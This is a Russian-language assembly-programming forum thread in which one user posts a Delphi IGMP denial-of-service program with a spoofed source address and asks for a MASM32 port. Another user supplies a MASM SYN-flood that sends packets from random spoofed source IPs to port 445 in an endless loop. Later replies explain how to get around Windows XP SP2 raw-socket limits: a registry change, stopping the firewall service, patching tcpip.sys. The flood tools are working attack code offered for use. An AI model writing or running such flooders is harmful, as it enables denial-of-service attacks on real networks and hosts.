RAW_SOCK

Тема в разделе "WASM.WIN32", создана пользователем Devill, 11 дек 2007.

  1. Devill

    Devill New Member

    Публикаций:
    0
    Регистрация:
    5 ноя 2007
    Сообщения:
    5
    Помогите пожалуйста перевести на masm32

    Код (Text):
    1. program igmpdos;
    2.  
    3. uses
    4.  Windows,
    5.  WinSock2;
    6.  
    7. type
    8.  TIPHeader = packed record
    9.   VerLen: Byte;
    10.   ToS: Byte;
    11.   TotalLen: WORD;
    12.   UID: WORD;
    13.   Flags: WORD;
    14.   TTL: Byte;
    15.   Protocol: Byte;
    16.   ChkSum: WORD;
    17.   SourceIP: DWORD;
    18.   DestIP: DWORD;
    19.   Options: array [0..1] of WORD;
    20.  end;
    21.  
    22.  TIGMPHeader = packed record
    23.   pType: Byte;
    24.   Code: Byte;
    25.   ChkSum: WORD;
    26.   Group: DWORD;
    27.   Resv: Byte;
    28.   QQIC: Byte;
    29.   Num: WORD;
    30.   addes: DWORD;
    31.  end;
    32.  
    33.  TWordAr = array [0..0] of WORD;
    34.  PWordAr = ^TWordAr;
    35.  
    36. function ChkSum(pData: PWordAr; Size: DWORD): WORD;
    37. var
    38.  res: DWORD;
    39.  i: Integer;
    40. begin
    41.  res := 0;
    42.  i := 0;
    43.  while (size > 1) do
    44.   begin
    45.    res := res + pData[i];
    46.    size := size - 2;
    47.    inc(i);
    48.   end;
    49.  if (size = 1) then res := res + pData[i];
    50.  res := (res shr 16) + (res and $FFFF);
    51.  res := res + (res shr 16);
    52.  result := WORD(not res);
    53. end;
    54.  
    55. procedure SendFuckIGMP(DestIP, SorceIP: DWORD);
    56. var
    57.  WSAData: TWSAData;
    58.  Sock: TSocket;
    59.  SockIn: TSockAddrIn;
    60.  flag: DWORD;
    61.  IpHdr: TIPHeader;
    62.  IgmpHdr: TIGMPHeader;
    63.  Buffer: Pointer;
    64. begin
    65.  WSAStartup($202, WSAData);
    66.  Sock := WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, nil, 0, 1);
    67.  flag := 1;
    68.  setsockopt(Sock, IPPROTO_IP, IP_HDRINCL, @flag, 4);
    69.  ZeroMemory(@SockIn, sizeof(SockIn));
    70.  SockIn.sin_family := AF_INET;
    71.  SockIn.sin_port := htons(99);
    72.  SockIn.sin_addr.S_addr := DestIP;
    73.  ZeroMemory(@IpHdr, sizeof(IpHdr));
    74.  with IpHdr do
    75.   begin
    76.    VerLen := 64 + sizeof(IpHdr) div 4;
    77.    TotalLen := htons(sizeof(IpHdr) + sizeof(IgmpHdr));
    78.    TTL := 128;
    79.    Protocol := IPPROTO_IGMP;
    80.    SourceIP := SourceIP;
    81.    DestIP := DestIP;
    82.  end;
    83.  ZeroMemory(@IgmpHdr, sizeof(IgmpHdr));
    84.  with IgmpHdr do
    85.   begin
    86.    pType := 17;
    87.    Code := 5;
    88.    Num := htons(1);
    89.    addes := DestIP;
    90.   end;
    91.  flag := sizeof(IpHdr) + sizeof(IgmpHdr) + 4;
    92.  Buffer := GetMemory(flag);
    93.  ZeroMemory(Buffer, flag);
    94.  CopyMemory(Buffer, @IgmpHdr, sizeof(IgmpHdr));
    95.  IgmpHdr.ChkSum := ChkSum(Buffer, sizeof(IgmpHdr));
    96.  CopyMemory(Buffer, @IpHdr, sizeof(IpHdr));
    97.  CopyMemory(Pointer(DWORD(Buffer) + sizeof(IpHdr)), @IgmpHdr, sizeof(IgmpHdr));
    98.  IpHdr.ChkSum := htons(ChkSum(Buffer, sizeof(IpHdr) + sizeof(IgmpHdr)));
    99.  CopyMemory(Buffer, @IpHdr, sizeof(IpHdr));
    100.  sendto(sock, Buffer^, sizeof(IpHdr) + sizeof(IgmpHdr), 0, SockIn, sizeof(SockIn));
    101.  FreeMemory(Buffer);
    102.  closesocket(Sock);
    103.  WSACleanup;
    104. end;
    105.  
    106. begin
    107.  SendFuckIGMP(inet_addr('192.168.9.160'), inet_addr('10.0.3.1'));
    108. end.
     
  2. UnW1n

    UnW1n New Member

    Публикаций:
    0
    Регистрация:
    25 ноя 2006
    Сообщения:
    13
    структуры свои впихаеш тока

    Код (Text):
    1. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    2. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    3. .686                      
    4. .model flat, stdcall      
    5. option casemap :none
    6.  
    7. include     libs\inc\windows.inc
    8. include     libs\inc\masm32.inc
    9. include     libs\inc\urlmon.inc
    10. include     libs\inc\kernel32.inc
    11. include     libs\inc\msvcrt.inc
    12. include     libs\inc\user32.inc
    13. include     libs\inc\shell32.inc
    14. include     libs\inc\advapi32.inc
    15. include     libs\inc\ws2_32.inc
    16. include     libs\inc\base64.inc
    17. include     libs\inc\Strings.mac
    18. include     libs\inc\getseg.inc
    19.  
    20.  
    21. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    22. includelib  libs\lib\shell32.lib
    23. includelib  libs\lib\base64.lib
    24. includelib  libs\lib\advapi32.lib
    25. includelib  libs\lib\msvcrt.lib
    26. includelib  libs\lib\masm32.lib
    27. includelib  libs\lib\urlmon.lib
    28. includelib  libs\lib\kernel32.lib
    29. includelib  libs\lib\wininet.lib
    30. includelib  libs\lib\ntdll.lib
    31. includelib  libs\lib\user32.lib
    32. includelib  libs\lib\ws2_32.lib
    33. includelib  libs\lib\getseg.lib
    34.  
    35.  
    36. sfTCPHEADER STRUCT
    37.     tcp_src_port    WORD        ?
    38.     tcp_det_port    WORD        ?
    39.     tcp_seq         DWORD       ?
    40.     tcp_ack         DWORD       ?
    41.     tcp_len         BYTE        ?
    42.     tcp_flags       BYTE        ?
    43.     tcp_window      WORD        ?
    44.     tcp_cksum       WORD        ?
    45.     tcp_urg_ptr     WORD        ?
    46. sfTCPHEADER ENDS
    47.  
    48.  
    49. sfIPHEADER  STRUCT
    50.     h_verlen        BYTE    ?
    51.     ip_tos          BYTE    ?
    52.     total_len       WORD    ?
    53.     ident           WORD    ?
    54.     ip_off          WORD    ?
    55.     ip_ttl          BYTE    ?
    56.     ip_p            BYTE    ?
    57.     ip_cksum        WORD    ?
    58.     ip_src          DWORD   ?
    59.     ip_dest         DWORD   ?
    60. sfIPHEADER  ENDS    ;20 bytes
    61.  
    62.  
    63. PSDHEADER STRUCT
    64.     src_addr        DWORD   ?
    65.     dst_addr        DWORD   ?
    66.     zero            BYTE    ?
    67.     protocol        BYTE    ?
    68.     ps_len          WORD    ?
    69. PSDHEADER ENDS  ;12 bytes      
    70.  
    71.     dwThreadID      DWORD   ?
    72. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    73. .code
    74. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    75. start:
    76.     PUSh    offset wsa
    77.     PUSh    00000202H
    78.     CALL    WSAStartup
    79. ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
    80.         PUSh    offset dwThreadID  
    81.         PUSh    0
    82.         PUSh    offset  httpstruct
    83.         PUSh    offset  dns_thread 
    84.         PUSh    0
    85.         PUSh    0
    86.         CALL    CreateThread
    87.         invoke Sleep, 600000
    88.         invoke ExitProcess,0
    89. ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
    90.  
    91.  
    92.  
    93. COPY_MEMROY:
    94. CopyMemory proc uses eax ecx esi edi dwDestination:dword, dwSource:dword, dwLen: dword
    95.     MOV esi, dwSource
    96.     MOV edi, dwDestination
    97.     MOV ecx, dwLen
    98.     .repeat
    99.         movsb
    100.     .untilcxz
    101.     RET
    102. CopyMemory endp
    103.  
    104. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    105. ;::::::::::::::CHKSUM FUNCTION
    106. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    107. CHKSUM_FUNCTION:
    108. checksum proc uses ecx esi edx, pData:dword, SzData:dword
    109.     MOV     esi,    0
    110.     @@:
    111.     CMP     SzData,     1
    112.     JLE     @f
    113.     MOV     eax,    pData
    114.     XOR     ecx,    ecx
    115.     MOV     cx,     [eax]
    116.     MOV     edx,    esi
    117.     ADD     edx,    ecx
    118.     MOV     esi,    edx
    119.     MOV     eax,    pData
    120.     ADD     eax,    2
    121.     MOV     pData,  eax
    122.     MOV     ecx,    SzData
    123.     SUB     ecx,    2
    124.     MOV     SzData, ecx
    125.     JMP     @b
    126.     @@:
    127.     CMP     SzData, 0
    128.     JZ      @f
    129.     MOV     edx,    pData
    130.     XOR     eax,    eax
    131.     MOV     al,     [edx]
    132.     MOV     ecx,    esi
    133.     ADD     ecx,    eax
    134.     MOV     esi,    ecx
    135.     @@:
    136.     MOV     edx,    esi
    137.     SHR     edx,    10h
    138.     MOV     eax,    esi
    139.     AND     eax,    0FFFFh
    140.     ADD     edx,    eax
    141.     MOV     esi,    edx
    142.     MOV     ecx,    esi
    143.     SHR     ecx,    10h
    144.     MOV     edx,    esi
    145.     ADD     edx,    ecx
    146.     MOV     esi,    edx
    147.     MOV     eax,    esi
    148.     NOT     eax
    149.     RET
    150. checksum endp
    151.  
    152.  
    153. SYN_THREAD:
    154. syn_thread proc uses ecx, lParam:DWORD
    155.     LOCAL @dwFlag       :DWORD
    156.     local addr_in       :sockaddr_in
    157.     local ipHeader  :sfIPHEADER
    158.     local tcpHeader :sfTCPHEADER
    159.     local psdHeader :PSDHEADER
    160.     LOCAL szSendBuf[60]:BYTE
    161.  
    162.    
    163.     PUSh    1
    164.     PUSh    0
    165.     PUSh    NULL
    166.     PUSh    IPPROTO_RAW
    167.     PUSh    SOCK_RAW
    168.     PUSh    AF_INET
    169.     CAll    WSASocket
    170.    
    171.     MOV         edi,eax
    172.    
    173.     .if edi==INVALID_SOCKET                 ;
    174.         RET                                 ;if(sock==INVALID_SOCKET) return false;                    
    175.     .endif     
    176.    
    177.     MOV     @dwFlag,    TRUE
    178.     PUSh    sizeof  @dwFlag
    179.     LEA     eax,    @dwFlag
    180.     PUSh    eax
    181.     PUSh    2
    182.     PUSh    IPPROTO_IP
    183.     PUSh    edi
    184.     CAll    setsockopt
    185.    
    186.     .if eax == SOCKET_ERROR                     ;if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
    187.         RET                                     ;(char*)&flag, sizeof(flag))==SOCKET_ERROR)
    188.     .endif
    189.     MOV     addr_in.sin_family,AF_INET              ;addr_in.sin_family=AF_INET
    190.     MOV     ax, 445
    191.     bswap   eax                      
    192.     ror     eax,10h
    193.     MOV     addr_in.sin_port,   ax
    194.    
    195.        
    196.     PUSh    $CTA0("192.168.1.33")
    197.     CALL    gethostbyname
    198.  
    199.     .if eax!=0
    200.         MOV eax, [eax+0ch]
    201.         MOV eax, [eax]
    202.         MOV eax, [eax]
    203.         MOV addr_in.sin_addr,   eax
    204.     .endif
    205.  
    206.     MOV     byte ptr [ipHeader.h_verlen],45h
    207.     MOV     eax,    28h
    208.     bswap   eax                    
    209.     ror     eax,10h    
    210.    
    211.     MOV     word ptr [ipHeader.total_len],ax
    212.     MOV     ipHeader.ident, 1
    213.     MOV     ipHeader.ip_off, 0
    214.     MOV     ipHeader.ip_ttl, 80h   
    215.     MOV     ipHeader.ip_p, 6h
    216.     MOV     ipHeader.ip_cksum, 0       
    217.     MOV     eax,dword ptr [addr_in.sin_addr]
    218.     MOV     dword ptr [ipHeader.ip_dest],eax
    219.    
    220.     MOV     eax,    445
    221.     bswap   eax                      
    222.     ror     eax,10h    
    223.     MOV     word ptr [tcpHeader.tcp_det_port],ax
    224.    
    225.     MOV     byte ptr [tcpHeader.tcp_len],50h
    226.  
    227.     MOV     eax, 4000h
    228.     bswap   eax                      
    229.     ror     eax,10h    
    230.     MOV     word ptr [tcpHeader.tcp_window],ax
    231.     MOV     tcpHeader.tcp_urg_ptr  , 0 
    232.    
    233.     MOV     ecx,dword ptr [ipHeader.ip_dest]
    234.     MOV     dword ptr [psdHeader.dst_addr],ecx 
    235.     MOV     psdHeader.zero, 0  
    236.     MOV     psdHeader.protocol, 06h
    237.     MOV     eax,    sizeof tcpHeader
    238.     bswap   eax                      
    239.     ror     eax,10h    
    240.     MOV     psdHeader.ps_len, ax
    241.     MOV     ipHeader.ip_tos,24h
    242.  
    243. .while(1)  
    244.     PUSH    1
    245.     CALL    Sleep
    246. ;***************************************************************************************************************************   
    247. ;Make  a  Syn  Packet  
    248. ;***************************************************************************************************************************   
    249.     MOV     tcpHeader.tcp_ack, 0   
    250.     MOV     tcpHeader.tcp_flags, 02h                    ;SYN
    251.     MOV     tcpHeader.tcp_cksum, 0
    252.     RDTSC
    253.     MOV     dword ptr [ipHeader.ip_src],eax
    254.     RDTSC
    255.     MOV     word ptr [tcpHeader.tcp_src_port],ax
    256.     push    eax
    257.     RDTSC
    258.     MOV     dword ptr [tcpHeader.tcp_seq],eax
    259.     mov     esi,    eax
    260.     push    esi
    261.     MOV     ecx,dword ptr [ipHeader.ip_src]
    262.     MOV     dword ptr [psdHeader.src_addr],ecx
    263.    
    264.     PUSh    sizeof  psdHeader
    265.     LEA     eax,    psdHeader
    266.     PUSh    eax
    267.     LEA     eax,    szSendBuf
    268.     PUSh    eax
    269.     CAll    CopyMemory
    270.    
    271.     PUSh    sizeof  tcpHeader
    272.     LEA     eax,    tcpHeader
    273.     PUSh    eax
    274.     LEA     eax,    szSendBuf
    275.     ADD     eax,    sizeof  psdHeader
    276.     PUSh    eax
    277.     CAll    CopyMemory
    278.    
    279.     PUSh    sizeof  psdHeader + sizeof  tcpHeader
    280.     LEA     eax,    szSendBuf
    281.     PUSh    eax
    282.     CAll    checksum
    283.    
    284.     MOV     tcpHeader.tcp_cksum,    ax
    285.    
    286.     PUSh    sizeof  ipHeader
    287.     LEA     eax,    ipHeader
    288.     PUSh    eax
    289.     LEA     eax,    szSendBuf
    290.     PUSh    eax
    291.     CAll    CopyMemory
    292.    
    293.     PUSh    sizeof  tcpHeader
    294.     LEA     eax,    tcpHeader
    295.     PUSh    eax
    296.     LEA     eax,    szSendBuf
    297.     ADD     eax,    sizeof ipHeader
    298.     PUSh    eax
    299.     CAll    CopyMemory
    300.    
    301.     PUSh    4
    302.     PUSh    0
    303.     LEA     eax,    szSendBuf
    304.     ADD     eax,    sizeof ipHeader + sizeof tcpHeader
    305.     PUSh    eax
    306.     CAll    crt_memset
    307.    
    308.     PUSh    sizeof  ipHeader + sizeof   tcpHeader
    309.     LEA     eax,    szSendBuf
    310.     PUSh    eax
    311.     CAll    checksum
    312.    
    313.     MOV     ipHeader.ip_cksum,  ax
    314.    
    315.     PUSh    sizeof  ipHeader
    316.     LEA     eax,    ipHeader
    317.     PUSh    eax
    318.     LEA     eax,    szSendBuf
    319.     PUSh    eax
    320.     CAll    crt_memcpy
    321.  
    322.     PUSh    sizeof  addr_in
    323.     LEA     eax,    addr_in
    324.     PUSh    eax
    325.     PUSh    0
    326.     PUSh    sizeof  ipHeader + sizeof   tcpHeader
    327.     LEA     eax,    szSendBuf
    328.     PUSh    eax
    329.     PUSh    edi
    330.     CAll    sendto
    331. .endw      
    332.     RET
    333. syn_thread  endp
    334.     RET 0
    335. end start
     
  3. Devill

    Devill New Member

    Публикаций:
    0
    Регистрация:
    5 ноя 2007
    Сообщения:
    5
    спасибо !
     
  4. sl0n

    sl0n Мамонт дзена **

    Публикаций:
    0
    Регистрация:
    26 сен 2003
    Сообщения:
    703
    эта яхня не будет работать на сп2 если спуфить айпи, там в тцпип блок стоит -))
     
  5. Cr4sh

    Cr4sh New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2006
    Сообщения:
    668
    Выставить HKLM\SYSTEM\CurrentControlSet\Services\Afd\Parameters\DisableRawSecurity в 0, и всё будет ок. Но спуфить адрес отправителя в IP-пакетах не есть гуд, потому как нет гарантии, что такой пакет выйдет за пределы маршрутизатора.
     
  6. kaspersky

    kaspersky New Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    3.006
    Cr4sh
    она еще и с компьютера никуда не уйдет :derisive:
    а если еще и стоит MS05-019, то это вааще.

    в XP SP2 мы имеем следующий перечень ограничений
    (подробнее см, http://technet.microsoft.com/en-us/library/bb457156.aspx):

    q TCP-пакеты не могут быть посланы через сырые сокеты;
    q UDP-пакеты с "левым" адресом источника дропаются системой;

    Server 2003 и Server 2008 полностью поддерживают сырые сокеты,
    но: только после остановки встроенного брандмауэра,
    что осуществляется командой "net stop alg",

    а вообще, ситуация такая:
    NT 4.0 сырые сокеты ограничены 10 входящими соединениями за 10 минут (лечится правкой реестра);
    W2K полностью поддерживает сырые сокеты;
    XP SP0 полностью поддерживает сырые сокеты после остановки брандмауэра ("net stop sharedaccess");
    XP SP1 _без_ заплатки MS05-019 поддерживает сырые сокеты так же, как и XP SP0;
    XP SP1 _с_ заплаткой MS05-019 блокирует исходящие сырые TCP-сокеты, если брандмауэр _запущен_
    XP SP2 _без_ MS05-019 полностью поддерживает входящие сырые сокеты и частично исходящие;
    XP SP2 _с_ заплаткой MS05-019 полностью поддерживает входящие сырые сокеты и некоторые исходящие;
    Server 2003 полностью поддерживает сырые сокеты после остановки брандмауэра ("net stop alg");
    Mac OS X полностью поддерживает сырые сокеты;
    Linux полностью поддерживает сырые сокеты;
    xBSD полностью поддерживает сырые сокеты;
     
  7. sl0n

    sl0n Мамонт дзена **

    Публикаций:
    0
    Регистрация:
    26 сен 2003
    Сообщения:
    703
    ну можно просто пропатчить тцпип.сис ;)
     
  8. kaspersky

    kaspersky New Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    3.006
    sl0n
    или использовать winpcap :)
     
  9. droopy

    droopy New Member

    Публикаций:
    0
    Регистрация:
    2 окт 2004
    Сообщения:
    21
    Хм... наконец-то нашел почему не могу отправить RAW UDP с не своим адресом)). Оказывается дело в WinXPSP2.
    Попробовал просто заменить tcpip.sys на такой же с WinXPSP1. Но это не прошло - при загрузке появляется BlueScreenOfDeath.
    Кто знает в чем причина? Может просто заменить еще какие-то модули?